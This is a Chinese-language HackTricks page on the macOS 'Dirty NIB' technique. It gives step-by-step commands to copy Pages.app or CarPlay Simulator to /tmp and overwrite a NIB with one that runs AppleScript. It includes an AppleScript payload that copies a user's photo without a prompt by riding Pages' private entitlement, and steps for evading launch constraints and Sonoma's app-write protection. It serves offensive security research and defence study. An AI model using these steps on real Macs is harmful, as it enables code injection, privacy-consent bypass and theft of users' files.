hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md

8.1 KiB
Raw Blame History

macOS脏NIB

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

这个技术是从这篇文章中获取的 https://blog.xpnsec.com/dirtynib/

基本信息

NIB文件在Apple的开发生态系统中用于定义用户界面UI元素及其在应用程序中的交互。使用Interface Builder工具创建它们包含像窗口、按钮和文本字段这样的序列化对象在运行时加载以呈现设计的UI。尽管仍在使用中但Apple已经开始推荐使用Storyboards来更直观地表示应用程序的UI流程。

{% hint style="danger" %} 此外,NIB文件还可以用于运行任意命令如果在应用程序中修改了NIB文件Gatekeeper仍然允许执行该应用程序,因此可以用于在应用程序内部运行任意命令。 {% endhint %}

脏NIB注入

首先我们需要创建一个新的NIB文件我们将使用XCode进行大部分构建工作。我们首先向界面添加一个对象并将类设置为NSAppleScript

对于这个对象,我们需要设置初始的source属性,我们可以使用用户定义的运行时属性来完成:

这样设置了我们的代码执行工具,它只会在请求时运行AppleScript。为了触发AppleScript的执行我们现在只需添加一个按钮当然你也可以在此基础上进行创意。按钮将绑定到我们刚刚创建的Apple Script对象,并将调用executeAndReturnError:选择器:

为了测试我们将使用以下Apple Script

set theDialogText to "PWND"
display dialog theDialogText

如果我们在XCode调试器中运行这个并点击按钮

通过从NIB执行任意AppleScript代码的能力我们接下来需要一个目标。让我们选择Pages作为我们的初始演示这当然是一个苹果应用程序我们肯定不能修改它。

我们首先将应用程序的副本复制到/tmp/目录中:

cp -a -X /Applications/Pages.app /tmp/

然后我们将启动应用程序以避免任何Gatekeeper问题并允许缓存事物

open -W -g -j /Applications/Pages.app

在第一次启动和终止应用程序后我们需要用我们的DirtyNIB文件覆盖现有的NIB文件。为了演示目的我们将只覆盖关于面板的NIB文件以便我们可以控制执行

cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib

一旦我们覆盖了nib文件我们可以通过选择“关于”菜单项来触发执行

如果我们仔细查看Pages我们会发现它有一个私有的权限允许访问用户的照片

因此,我们可以通过修改我们的AppleScript来窃取用户的照片,而无需提示:

{% code overflow="wrap" %}

use framework "Cocoa"
use framework "Foundation"

set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"

grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1

{% endcode %}

{% hint style="danger" %} 恶意的.xib文件执行任意代码示例 {% endhint %}

启动约束

它们基本上防止在预期位置之外执行应用程序,因此,如果您将受到启动约束保护的应用程序复制到/tmp,则无法执行它。
在此帖子中查找更多信息

然而,通过解析文件**/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4,您仍然可以找到未受启动约束保护的应用程序**,因此仍然可以将NIB文件注入到这些任意位置(请查看上面的链接以了解如何找到这些应用程序)。

额外保护

从macOS Somona开始有一些保护措施防止在应用程序内部写入。然而如果在运行二进制文件的副本之前更改Contents文件夹的名称仍然可以绕过此保护

  1. CarPlay Simulator.app的副本复制到/tmp/
  2. /tmp/Carplay Simulator.app/Contents重命名为/tmp/CarPlay Simulator.app/NotCon
  3. 启动二进制文件/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator以在Gatekeeper中缓存
  4. 使用我们的Dirty.nib文件覆盖NotCon/Resources/Base.lproj/MainMenu.nib
  5. 重命名为/tmp/CarPlay Simulator.app/Contents
  6. 再次启动CarPlay Simulator.app
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥